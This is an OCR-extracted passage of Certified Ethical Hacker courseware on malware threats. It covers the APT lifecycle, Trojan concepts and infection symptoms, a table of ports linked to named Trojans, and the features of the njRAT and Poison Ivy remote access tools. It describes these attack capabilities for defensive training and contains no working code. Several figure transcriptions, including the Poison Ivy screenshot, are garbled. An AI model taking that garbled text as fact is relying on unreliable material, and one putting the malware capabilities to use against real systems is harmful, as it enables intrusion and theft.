Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Multi-phased
One of the important characteristics of APTs is that they follow multiple phases to
execute an attack. The phases followed by an APT attack are reconnaissance, access,
discovery, capture, and data exfiltration.
■ Tailored to the Vulnerabilities
The malicious code used to execute APT attacks is designed and written such that it
targets the specific vulnerabilities present in the victim's network.
■ Multiple Points of Entries
Once an adversary enters the target network, he/she establishes a connection with the
server to download malicious code for further attacks. In the initial phase of an APT
attack, the adversary creates multiple points of entry through the server to maintain
access to the target network. If one point of entry is discovered and patched by the
security analyst, then the adversary can use a different entry point.
■ Evading Signature-Based Detection Systems
APT attacks are closely related to zero-day exploits, which contain malware that has
never been previously discovered or deployed. Thus, APT attacks can easily bypass
security mechanisms such as firewalls, antivirus software, IDS/IPS, and email spam
filters.
■ Specific Warning Signs
APT attacks are usually impossible to detect. However, some indications of an attack
include inexplicable user account activities, the presence of a backdoor Trojan for
maintaining access to the network, unusual file transfers and file uploads, unusual
database activities, etc.

Module 07 Page 965 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Advanced Persistent Threat Lifecycle


Cleanup
e Cover tracks
6 Remain undetected

Preparation
s Define target
S.uohandE>dilu•tio•/ 6 Research target
6 Exfiltration data
e Organize team
5 l
e Build or attain tools
APT I) 6 Test for detection

Lifecycle
4 2 / Initial Intrusion
Persistence 6 Deployment of malware
e Maintain acces
\ 6 Establishment of outbound
connection

Expansion
e Expand access
s Obtain credentials
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Advanced Persistent Threat Lifecycle


In the current threat landscape, organizations need to pay greater attention to APTs. APTs may
target an organization's IT assets, financial assets, intellectual property, and reputation.
Commonly used security and defensive controls will not suffice to prevent such attacks.
Attackers behind such attacks adapt their TTPs based on the vulnerabilities and security posture
of the target organization. Thus, they can evade the security controls of the target organization.
To launch an APT attack, attackers follow a certain set of phases to target, penetrate, and
exploit an organization's network. Attackers must follow each phase step by step to successfully
compromise and gain access to the target system .
The various phases of the APT lifecycle are as follows:
1. Preparation

The first phase of the APT lifecycle is preparation, where an adversary defines the
target, performs extensive research on the target, organizes a team, builds or attains
tools, and performs tests for detection. APT attacks usually require a high level of
preparation, as the adversary cannot risk detection by the target's network security.
Additional resources and data may be necessary before carrying out the attack. An
attacker needs to perform highly complex operations before executing the attack plan
against the target organization.
2. Initial Intrusion
The next phase involves attempting to enter the target network. Common techniques
used for an initial intrusion are sending spear-phishing emails and exploiting
vulnerabilities on publicly available servers. Spear-phishing emails usually appear

Module 07 Page 966 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

legitimate but they contain malicious links or attachments containing executable


malware. These malicious links can redirect the target to the website where the target's
web browser and software are compromised by the attacker using various exploit
techniques. Sometimes, an attacker may also use social engineering techniques to
gather information from the target. After obtaining information from the target,
attackers use such information to launch further attacks on the target network. In this
phase, malicious code or malware is deployed into the target system to initiate an
outbound connection.
3. Expansion

The primary objectives of this phase are expanding access to the target network and
obtaining credentials. If the attacker's aim is to exploit and gain access to a single
system, then there is no need for expansion. However, in most cases, the objective of an
attacker is to access multiple systems using a single compromised system. In this
scenario, the first step performed by an attacker after an initial compromise is to
expand access to the target systems. The main objective of the attacker in this phase is
to obtain administrative login credentials to escalate privileges and to gain further
access to the systems in the network. For this purpose, the attacker tries to obtain
administrative privileges for the initial target system from cached credentials and uses
these credentials to gain and maintain access to other systems in the network. When
attackers are unable to obtain valid credentials, they use other techniques such as social
engineering, exploiting vulnerabilities, and distributing infected USB devices. After the
attacker obtains the target's account credentials, it is difficult to track his/her
movement in the network, as he/she uses a legitimate username and password.
This expansion phase supports other phases of the APT lifecycle. In the search and
exfiltration phase, the attacker can obtain the target data by gaining access to the
systems. Attackers identify systems that can be used for installing persistence
mechanisms and identify appropriate systems in the network that can be leveraged to
exfiltrate data.
4. Persistence

This phase involves maintaining access to the target system, starting from evading
endpoint security devices such as IDS and firewalls, entering into the network, and
establishing access to the system, until there is no further use of the data and assets.
To maintain access to the target system, attackers follow certain techniques or
procedures, which include use of customized malware and repackaging tools. These
tools are designed such that they cannot be detected by the antivirus software or
security tools of the target. To maintain persistence, attackers use customized malware
that includes services, executables, and drivers installed on various systems in the target
network. Another way to maintain persistence is finding locations for installing the
malware that are not frequently examined. These locations include routers, servers,
firewalls, printers, etc.

Module 07 Page 967 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

5. Search and Exfiltration


In this phase, an attacker achieves the ultimate goal of network exploitation, which is
generally to gain access to a resource that can be used for performing further attacks or
using that resource for financial gain. In general, attackers target specific data or
documents before launching an attack. However, in some cases, although attackers
determine that crucial data are available in the target network, they are unaware of the
location of the data. A common method for search and exfiltration is to steal all the data
including important documents, emails, shared drives, and other types of data present
on the target network. Data can also be gathered using automated tools such as
network sniffers. Attackers use encryption techniques to evade data loss prevention
(DLP) technologies in the target network.
6. Cleanup

This is the last phase, where an attacker performs certain actions to prevent detection
and remove evidence of compromise. Techniques used by the attacker to cover his/her
tracks include evading detection, eliminating evidence of intrusion, and hiding the target
of the attack and attacker details. In some cases, these techniques also include
manipulating the data in the target environment to mislead security analysts.
It is imperative for attackers to make the system appear as it was before they gained
access to it and compromised the network. Therefore, it is essential for an attacker to
cover his/her tracks and remain undetected by security analysts. Attackers can change
any file attributes back to their original state. Information listed, such as file size and
date, is just attribute information contained in the file.

Cleanup
e Cover t racks
e Remain undetected

Preparation

Seuch =• Exfilt,alion / 6
e
e
Define t arget
Research target
e Exfiltrati on data
e Organize team
5 1
e Budd or attain tool s
APT e Test for detection

Lifecycle
4 2 )
Initial Intrusion
Persistence e Deployment of m alware
e Maintain acce
\ e Establishment of outbound
connect io n

Expansion
e Expand access
e Obtain credentials

Figure 7.2: Advanced Persistent Threat Lifecycle

Module 07 Page 968 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

10#03: Explain Trojans, Their Types, and How They Infect Systems

Copyright () by (C-Clultdl All Rights Reserved Reproduct,on IS Strictly Proh1b1ted

Trojan Concepts
In this section, we will discuss the basic concepts of Trojans to understand various Trojans and
backdoors as well as their impact on network and system resources. This section describes
Trojans and highlights their purpose, symptoms, and common ports used. It also discusses the
various methods adopted by attackers to install Trojans to infect target systems and perform
malicious activities.
This section also describes various types of Trojans. Every day, attackers discover or create new
Trojans designed to discover vulnerabilities of target systems. Trojans are categorized by the
way they enter systems and the types of actions they perform on these systems.

Module 07 Page 969 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

What is a Trojan?
It is a program in which the malicious or harmful code is contained inside an apparently harmless program o r data, which
can later ga in control and cause damage

Trojans get activated when a user performs certain predefined actions

Indications of a Trojan attack include abnormal system and network activities such as disabling of antivirus and
redirection to unknown pages

Trojans create a covert communication channel between the victim computer and th e attacker for transferring sensitive data

Attacker
propagates Trojan
Victim infected with Trojan
Malicious Files

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

What is a Trojan?
According to ancient Greek mythology, the Greeks won the Trojan War with the aid of a giant
wooden horse that was built to hide their soldiers. The Greeks left this horse in front of the
gates of Troy. The Trojans thought that the horse was a gift from the Greeks, which they had
left before apparently withdrawing from the war and brought it into their city. At night, the
Greek soldiers broke out of the wooden horse and opened the city gates to let in the rest of the
Greek army, who eventually destroyed the city of Troy.
Inspired by this story, a computer Trojan is a program in which malicious or harmful code is
contained inside an apparently harmless program or data, which can later gain control and
cause damage, such as ruining the file allocation table on your hard disk. Attackers use
computer Trojans to trick the victim into performing a predefined action. Trojans are activated
upon users' specific predefined actions such as unintentionally installing a malicious software,
clicking on a malicious link, etc., and upon activation, they can grant attackers unrestricted
access to all the data stored on the compromised information system and potentially cause
severe damage. For example, users could download a file that appears to be a movie, but, when
executed, unleashes a dangerous program that erases the hard drive or sends credit card
numbers and passwords to the attacker.
A Trojan is wrapped within or attached to a legitimate program, meaning that the program may
have functionality that is not apparent to the user. Furthermore, attackers use victims as
unwitting intermediaries to attack others. They can use a victim's computer to commit illegal
Dos attacks.
Trojans work at the same level of privileges as the victims. For example, if a victim has privileges
to delete files, transmit information, modify existing files, and install other programs (such as
programs that provide unauthorized network access and execute privilege elevation attacks),

Module 07 Page 970 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

once the Trojan infects that system, it will possess the same privileges. Furthermore, it can
attempt to exploit vulnerabilities to increase the level of access even beyond the user running
it. If successful, the Trojan can use such increased privileges to install other malicious code on
the victim's machine.
A compromised system can affect other systems on the network. Systems that transmit
authentication credentials such as passwords over shared networks in clear text or a trivially
encrypted form are particularly vulnerable. If an intruder compromises a system on such a
network, he or she may be able to record usernames and passwords or other sensitive
information.
Additionally, a Trojan, depending on the actions it performs, may falsely implicate a remote
system as the source of an attack by spoofing, thereby causing the remote system to incur a
liability. Trojans enter the system by means such as email attachments, downloads, and instant
messages.

Attacker
propagates Trojan a .. . . ..J
L........
Malicious Files
Internet
Files

Victim infected with Trojan

Figure 7.3: Depiction of a Troj an att ack

Indications of Trojan Attack

The following computer malfunctions are indications of a Trojan attack:


■ The DVD-ROM drawer opens and closes automatically.
■ The computer screen blinks, flips upside-down, or is inverted so that everything is
displayed backward.
■ The default background or wallpaper settings change automatically. This can be
performed using pictures either on the user's computer or in the attacker's program.
■ Printers automatically start printing documents.
■ Web pages suddenly open without input from the user.
■ The color settings of the operating system (OS) change automatically.
■ Screensavers convert to a personal scrolling message.
■ The sound volume suddenly fluctuates.
■ Antivirus program s are automatically disabled, and t he data are corrupted, altered, or
deleted from the syst em.
■ The date and time of the computer change.

Module 07 Page 971 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ The mouse cursor moves by itself.


■ The left- and right-click functions of the mouse are interchanged.
■ The mouse pointer disappears completely.
■ The mouse pointer automatically clicks on icons and is uncontrollable.
■ The Windows Start button disappears.
■ Pop-ups with bizarre messages suddenly appear.
■ Clipboard images and text appear to be manipulated.
■ The keyboard and mouse freeze.
■ Contacts receive emails from a user's email address that the user did not send.
■ Strange warnings or question boxes appear. Often, these are personal messages
directed at the user, asking questions that require him/her to answer by clicking a Yes,
No, or OK button.
■ The system turns off and restarts in unusual ways.
■ The taskbar disappears automatically.
■ The Task Manager is disabled. The attacker or Trojan may disable the Task Manager
function so that the victim cannot view the task list or end the task on a given program
or process.
Send me credit card details

.... .... ........................................................


Here is my credit card number and expire date
. Victim infected
with Trojan

j~
···············:>□=
Send me Facebook account information
Victim infected

Here is my Facebook login and profile ·················- with Trojan

A:
. ,. ........................................................
Attacker : : Send me e-banking login info
··· ······ ···· · ·►~ Victim infected

Here is my bank ATM and pincode •••••••••••••••• • - -~ with Trojan

Figure 7.4: Diagram showing how the attacker extracts information from the victim system

Module 07 Page 972 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

How Hackers Use Trojans

a Delete or replace critical operating system files II Disable firewalls and antivirus

IJ Generat e fake t raffic t o create Dos attacks

II Record screenshots, audio, and video of


victim's PC II Infect victim's PC as a proxy server for relaying
attacks

Use vict im's PC for spamming and blasting


email messages II Use the victi m's PC as a botnet t o perform
DDoS attacks

II Down load spyw are, adw are, and malicious


files
Steal personal information such as passwords,
security codes, and credit ca rd information

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

How Hackers Use Trojans


Attackers create malicious programs such as Trojans for the following purposes:
• Delete or replace OS's critical file s
• Generate fake traffic to perform DoS attacks
■ Record screenshots, audio, and video of victim's PC
■ Use victim' s PC for spamming and blasting email messages
• Download spyware, adware, and malicious files
• Disable firewalls and antivirus
■ Create backdoors to gain remote access
■ Infect the victim' s PC as a proxy server for relaying attacks
■ Use the victim' s PC as a botnet to perform DDoS attacks
• Steal sensitive information such as:
o Credit card information, which is useful for domain registration as well as for
shopping using keyloggers
o Account data such as email passwords, dial-up passwords, and web service
passwords
o Important company projects, including presentations and work-related papers
■ Encrypt the victim's machine and prevent the victim from accessing the machine

Module 07 Page 973 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Use the target system as follows:


o To store archives of illegal materials, such as child pornography. The target
continues using his/her system without realizing that attackers are using it for illegal
activities
o As an FTP server for pirated software
■ Script kiddies may just want to have fun with the target system; an attacker could plant
a Trojan in the system just to make the system act strangely (e.g., the CD\DVD tray
opens and closes frequently, the mouse functions improperly, etc.)
■ The attacker might use a compromised system for other illegal purposes such that the
target would be held responsible if these illegal activities are discovered by the
authorities
Common Ports used by Trojans
Ports represent the entry and exit points of data traffic. There are two types of ports: hardware
ports and software ports. Ports within the OS are software ports, and they are usually entry and
exit points for application traffic (e.g., port 25 is associated with SMTP for e-mail routing
between mail servers). Many existing ports are application-specific or process-specific. Various
Trojans use some of these ports to infect target systems.
Users need a basic understanding of the state of an "active connection" and ports commonly
used by Trojans to determine whether a system has been compromised .
Among the various states, the "listening" state is the important one in this context. The system
generates this state when it listens for a port number while waiting to connect to another
system. Whenever a system reboots, Trojans move to the listening state; some use more than
one port: one for "listening" and the other(s) for data transfer. Common ports used by different
Trojans are listed in the table below.

Port Trojan Port Trojan

2 Death 5001/50505 Sockets de Troie

20/22/80/
Emotet 5321 FireHotcker
443

21/3024/ Blade Runner/Blade


WinCrash 5400-02
4092/5742 Runner 0.80 Alpha

Blade Runner, Doly Trojan, Fore,


21 Invisible FTP, WebEx, WinCrash, 5569 Robo-Hack
DarkFTP

22 Shaft, SSH RAT, Linux Rabbit 6267 GWGirl

23 Tiny Te lnet Server, EliteWrap 6400 Thing

Module 07 Page 974 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Port Trojan Port Trojan

Antigen, Email Password Sender,


Terminator, WinPC, WinSpy, Haebu
25 Coceda, Shtrilitz Stealth, Terminator, 6666 KilerRat, Houdini RAT
Kuang2 0.17A-0.30, Jesrto, Lazarus
Group, Mis-Type, Night Dragon

26 Bad Patch 6667/12349 Bionet, Magic Hound

31/456 Hackers Paradise 6670-71 Deep Throat

Denis, Ebury, FIN7, Lazarus Group,


53 RedLeaves, Threat Group-3390, Tropic 6969 Gatecrasher, Priority
Trooper

68 Mspy 7000 Remote Grab

Necurs, NetWire, lsmdoor, Poison Ivy,


Executer, Codered, APT 18, APT 19, APT
32, BBSRAT, Calisto, Carbanak, Carbon,
Comnie, Empire, FIN7, lnvisiMole,
80 7300-08 NetMonitor
Lazarus Group, MirageFox, Mis-Type,
Misdat, Mivast, MoonWind, Night
Dragon, POWERSTATS, RedLeaves, 5-
Type, Threat Group-3390, UBoatRAT
7300/31338
113 Shiver Net Spy
/31339

139 Nuker, Dragonfly 2.0 7597 Qaz

421 TCP Wrappers Trojan 7626 Gdoor

ADVSTORESHELL , APT 29, APT 3, APT


33, Aud it Cred, BADCALL, BBSRAT,
Bisonal, Briba, Ca rbanak, Cardinal RAT,
Comnie, Deru sbi, ELMER, Empire,
FELIXROOT, FIN 7, FIN8, gh0st RAT,
HARDRAIN, Hi-Zar, HOPLIGHT,
443 KEYMARBLE, Lazarus Group, LOWBALL, 7777 GodMsg
M is-Type, Misdat , MoonWind, Naid,
Nidiran, Pasam, PlugX, PowerDu ke,
POWERTON, Proxysvc, RATAN KBA,
RedLeaves, 5-Type, TEMP.Veles, Threat
Group-3390, TrickBot, Tropic Troo per,
TYPEFRAME, UBoatRAT

445 WannaCry, Petya, Dragonfly 2.0 7789 ICKiller

Module 07 Page 975 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Port Trojan Port Trojan

BADCALL, Comnie,
456 Hackers Paradise 8000
Volgmer

555 lni-Killer, Phase Zero, Stealth Spy 8012 Ptakks

Zeus, APT 37, Comnie,


EvilGrab, FELIXROOT,
FIN7, HTTPBrowser,
666 Satanz Backdoor, Ripper 8080 Lazarus Group, Magic
Hound, OceanSalt, S-
Type, Shamoon,
TYPEFRAME, Volgmer
FELIXROOT, Nidiran,
1001 Silencer, WebEx 8443
TYPEFRAME

1011 Doly Trojan 8787/54321 BackOfrice 2000

1026/
RSM 9989 iNi-Killer
64666

1095-98 RAT 10048 Delf

1170 Psyber Stream Server, Voice 10100 Gift

1177 njRAT 10607 Coma 1.0.9

1234 Ultors Trojan 11000 Senna Spy

1234/
Valvo line 11223 Progenic Trojan
12345

1243 SubSeven 1.0 - 1.8 12223 Hack'99 Keylogger

1243/6711
/6776/273 Sub Seven 12345-46 GabanBus, NetBus
74
12361,
1245 VooDoo Doll Whack-a-mole
12362
Java RAT, Agent. BTZ/ComRat, Adwind
1777 16969 Priority
RAT

1349 Back Office DLL 20001 Millennium

NetBus 2.0, Bet a-


1492 FTP99CMP 20034/1120
NetBus 2.01

Module 07 Page 976 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Port Trojan Port Trojan

1433 Misdat 21544 GirlFriend 1.0, Beta-1.35

22222/
1600 Shivka-Burka Prosiak
33333
DarkComet RAT, Pandora RAT, HellSpy
1604 22222 Rux
RAT

1807 SpySender 23432


Asylum

1863 XtremeRAT 23456 Evil FTP, Ugly FTP

1981 Shockrave 25685 Moon Pie

1999 BackDoor 1.00-1.03 26274 Delta

2001 Trojan Cow 30100-02 NetSphere 1.27a

Back Orifice/ Back Orifice


2115 Bugs 31337-38
1.20 /Deep BO

2140 Thelnvasor 31338 DeepBO

2140/3150 Deep Throat 31339 NetSpy DK

2155 Illusion Mailer, Nirvana 31666 BOWhack

2801 Phineas Phucker 34324 BigGluck, TN

3129 Masters Paradise 40412 The Spy

3131 SubSari 40421-26 Masters Paradise

3150 Thelnva sor 47262 Delta

3389 RDP 50766 Fore

3700/9872-
Remote Windows
9875/1006 Portal of Doom 53001
Shutdown
7/10167

4000 RA 54321 SchoolBus .69-1.11 /

4567 File Nail 1 61466 Telecommando

Module 07 Page 977 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Port Trojan Port Trojan

4590 ICQTrojan 65000 Devil

5000 Bubbel, SpyGate RAT, Punisher RAT

Table 7.1: Trojans and corresponding port of attack

Module 07 Page 978 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Types of Trojans
Trojans are categories according to their functioning and targets

Some of the example includes:

I
a Remote Access Trojans
a Point-of-Sale Trojans
m Security Software
Disabler Trojans

El Backdoor Trojans
II Defacement Trojans
m Destructive Trojans

II Botnet Trojans
B Service Protocol Trojans
m DDoS Attack Trojans

II Rootkit Trojans
II Mobile Trojans
m Command Shell Trojans

El E-Banking Trojans
m loT Trojans

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Types of Trojans
Trojan are classified into many categories depending on the exploit functionality targets. Some
Trojans types are listed below:
1. Remote Access Trojans 8. Service Protocol Trojans
2. Backdoor Trojans 9. Mobile Trojans
3. Botnet Trojans 10. loT Trojans
4. Rootkit Trojans 11. Security Software Disabler Trojans
5. E-Banking Trojans 12. Destructive Trojans
6. Point-of-Sale Trojans 13. DDoS Attack Trojans
7. Defacement Trojans 14. Command Shell Trojans
Remote Access Trojans
Remote access Trojans (RATs} provide attackers with full control over the victim's system,
thereby enabling them to remotely access files, private conversations, accounting data, etc. The
RAT acts as a server and listens on a port that is not supposed to be available to Internet
attackers. Therefore, if the user is behind a firewall on the network, it is less likely that a remote
attacker will connect to the Trojan. Attackers in the same network located behind the firewall
can easily access Trojans.
For example, Jason is an attacker who intends to exploit Rebecca's computer to steal her data.
Jason infects Rebecca's computer with server.exe and plants a reverse connecting Trojan. The
Trojan connects through Port 80 to the attacker, establishing a reverse connection. Now, Jason
has complete control over Rebecca's machine.

Module 07 Page 979 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

ft .. . . . . . . . . . . ..
ffi, . . . . . . . . . . .
Jason Attacker
·······················:1.r
.........................
Attacker gains 100%
,,... a
Rebecca Victim
Q ' ••.•.••.••••.••.•..•• • ➔ I I ...
_t..=__J
__,__----J

CT Plrt!
~
-

(complete) access to the system Infected with RAT Trojan

Figure 7.5: Working of Remote Access Trojan

Attackers use RATs to infect the target machine to gain administrative access. RATs help an
attacker to remotely access the complete GUI and control the victim's computer without his or
her awareness. Moreover, they can perform screen and camera capture, code execution,
keylogging, file access, password sniffing, registry management, and so on. They infect victims
via phishing attacks and drive-by downloads, and they propagate through infected USB keys or
networked drives. They can download and execute additional malware, execute shell
commands, read and write registry keys, capture screenshots, log keystrokes, and spy on
webcams.
■ njRAT

njRAT is a RAT with powerful data-stealing capabilities. In addition to logging keystrokes,


it can access a victim's camera, stealing credentials stored in browsers, uploading and
downloading files, performing process and file manipulations, and viewing the victim's
desktop.
This RAT can be used to control botnets (networks of computers), thereby allowing the
attacker to update, uninstall, disconnect, restart, and close the RAT, and rename its
campaign ID. The attacker can further create and configure the malware to spread
through USB drives with the help of the command-and-control server software.
Features:
o Remotely access the victim's computer
o Collect victim's information such as IP address, hostname, and OS.
o Manipulate files and system files
o Open an active remote session providing the attacker access to the command line of
the victim's machine
o Log keystrokes and steal credentials from browsers

Module 07 Page 980 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Figure 7.6: Screenshot of njRAT

Some additional RATs are as follows:


■ ProRat ■ Fatal RAT
■ Theef ■ Tea Bot
■ JSSLoader ■ FlawedAmmyy
■ Crimson RAT ■ lsmdoor
■ MINEBRIDGE ■ KediRAT
■ StrRAT ■ PCRat/ GhOst RAT
Backdoor Trojans

A backdoor is a program that can bypass the standard system authentication or conventional
system mechanisms such as IDS and firewalls, without being detected. In these types of
breaches, hackers leverage backdoor programs to access the victim's computer or network. The
difference between this type of malware and other types of malware is that the installation of
the backdoor is performed without the user's knowledge. This allows the attacker to perform
any activity on the infected computer, such as transferring, modifying, or corrupting files,
installing malicious software, and rebooting the machine, without user detection. Backdoors
are used by attackers for uninterrupted access to the target machine. Most backdoors are used

Module 07 Page 981 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

for targeted attacks. Backdoor Trojans are often used to group victim computers to form a
botnet or zombie network that can be used to perform criminal activities.
Backdoor Trojans are often initially used in the second (point of entry) or third (command-and-
control [C&C]) stage of the targeted attack process. The main difference between a RAT and a
traditional backdoor is that the RAT has a user interface, i.e., the client component, which can
be used by the attacker to issue commands to the server component residing in the
compromised machine, whereas a backdoor does not.
For example, a hacker who is performing a malicious activity identifies vulnerabilities in a target
network. The hacker implants the networkmonitor.exe backdoor in the target network, and
the backdoor will be installed in a victim's machine on the target network without being
detected by network security mechanisms. Once installed, networkmonitor.exe will provide
the attacker with uninterrupted access to the victim's machine and the target network.
■ Poisonlvy
Poisonlvy gives the attacker practically complete control over the infected computer.
The Poisonlvy remote administration tool is created and controlled by a Poisonlvy
management program or kit. The Poisonlvy kit consists of a graphical user interface, and
the backdoors are small (typically, <10 kB).
Once the backdoor is executed, it copies itself to either the Windows folder or the
Windows\system32 folder. The filename and locations of the backdoor are defined by
the creator of the backdoor when using the Poisonlvy kit to create the server program.
Some variants of Poison Ivy can copy themselves into an alternate data stream.
A registry entry of the backdoor will be added to ensure that the backdoor is started
every time the computer is booted up. The server then connects to a client using an
address defined when the server part was created. The communication between the
server and client programs is encrypted and compressed. Poison Ivy can be configured to
inject itself into a browser process before making an outgoing connection to bypass
firewalls.
Features:

o File modification, deletion, and transfer to and from the infected system
o Windows registry can be viewed and edited
o Currently running processes can be viewed and suspended or killed
o Current network connections can be viewed and shut down
o Services can be viewed and controlled (e.g., stopped or started)
o Installed devices can be viewed and some devices can be disabled
o The list of installed applications can be viewed, entries can be deleted, or programs
can be uninstalled
o Accesses Windows command shell on the infected computer

Module 07 Page 982 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

o Steals information by taking screenshots of the desktop and recording audio or


webcam footage
o Accesses saved passwords and password hashes

COMedions Stalistic< Settings


10
~ Py,o
w~
24.85.136.9
LAN
24.85.136.9
Con. Type ~
Direct
..
MAXIM•SHAAOV
Uier N«ne
Ownet
Att. Type
Adnin
OS
W&f'
CPU
1800MHz
RAM
511.30Mi8
Ve,iion
2.3.1
Pw,g
141

--
{1 Py,o 76.70.114.18 192.168.1.2 Direct S·8390679CA71l04 Owne, Adnin W&f' 954 MHz 511.48 Mi8 2.3.1 62
~ Py,o 58.107.:xl.7 58107.30.7 Oiect CONCOMM1 Newcum,1 Adnin W&f' 2700 MHz 1.023.22 ... 2.3.1 437
U, Py,o 24.222197.8 192.168.1.103 Died. STEVES-PC Steve Evans- W&f' 2660 MHz 2Gi8 2.3.1 78
~ Py,o 99.253.234.146 192.168.0.101 Oiect MAXIME-OEA7984E Ma><me W&f' 2600 MHz 1.50Gi8 2.3.1 125
U, Py,o 62.107.230.18 62.107.231118 Dieet 8AUGEA-OAOEBA93 Bruge, WitW 2394 MHz 503.48 MiB 2.3.1 578

--
Py,o 213.22.111.45 213.22111.45 Direct EXPEAIEN·280871 Admirisl1&1oc Adnin W&f' 1474 MHz 767.48 MB 2.3.1 594
Py,o 76.64.65.140 192.168.2.11 Direct MONSTER otelan Adnin W&f' :xlOO MHz 2 GB 2.3.1 109
Py,o 81 .102.114.249 81.102114.249 Oifect HOME B,eu W&f' 3401 MHz 2GB 2.3.1 219
Py,o 213.163.118.41 192168.1.100 Direct BANJE Adnirist, atoc W&f' 2594 MHz 50998MII 2.3.1 984
Py,o 83.132.166.237 192.168.1.1 Oieet HOME a&u<WJocoe W&f' 1833 MHz 1.023.48 ... 2.3.1 234

--
Py,o 76.234.114.116 192.168.1.65 Direct 22NOSTAE·E88729 Ownet Adnin W&f' :xl66 MHz 1.25Gil 2.3.1 250
Py,o 69.134.25225 192168.0.102 Dieet YOUA•4DACDOEA75 HP_Adminislratoc Adnin W&f' 2405 MHz 2GB 2.3.1 141
Py,o 87.11.97.165 192.168.1.109 Oi-ect NOME·CCF3,\888CII s... W&f' 340 MHz 511.30MB 2.3.1 578
Py,o 82168.67.206 192.168.1.33 Direct MAX W&f' :xlOO MHz 1.023.48 ... 2.3.1 219
Py,o 66.206.234.222 192.168.15.107 Oiect CARMICHEAL BEV W&f' 2992 MHz 1.022.09 ... 23.1 62
Py,o 79.43.77.6 192.168.1.50 O■eet ACEA J~ Adnin WitW 710 MHz 1.022.05 ... 2.3.1 281

--
Py,o 91 .110.21.135 192.168.22 Oi-ect COMPUTER Compaq_Owne, Adnin W&f' 995 MHz 1.022.48 ... 2.3.1 234
Py,o
Py,o
Py,o
Py,o
151 .83.11.152
58.68.12.21 0
n .131.201.133
213.93.184.58
200.88.138.221
151 .83.11.152
192.168.1.53
192.168.1.102
192.168.0.2
10.0.0.5
Direct
Died
O■ect
Direct
GIALLOM8·V184W1
IIIJAY
Tl80A·PC
UY/•4858085.28225
EQUIP01
-·-
Giovami

Ti>o,Sval«,
Compaq_E;g.naa,
Adnin W&f'
W&f'
W&f'
W&f'
W&f'
1600 MHz
2533 MHz
3211 MHz
2933 MHz
2 GB
1.99Gil
1.023.23 ...
511.36Mil
494.42 Mil
23.1
2.3.1
2.3.1
2.3.1
328
~
109
172
- - - - - -3067
- - - - - - - - - - - - - - ~ ~ - - - - - - - - - -Adnin
l'J<o Direct
-MHz
--~---~r' Adnin 2.3.1 2500
Ye"$0'l 2.3,2 llt. of Ports: 2 Nr. of Pb;,ns: 3 11t. of C01T1tC.tions: 256

Figure 7.7: Screenshot of Poisonlvy

Some additional backdoor Trojans are as follows:


■ Kovter ■ Winnti backdoor
■ PO WERSTATS v3 ■ Daxin
■ Extra Pulsar ■ SysJoker
■ RogueRobin ■ PortDoor
■ ServHelper ■ Tomiris
■ SpeakUp linux backdoor ■ GoldenSpy
Botnet Trojans

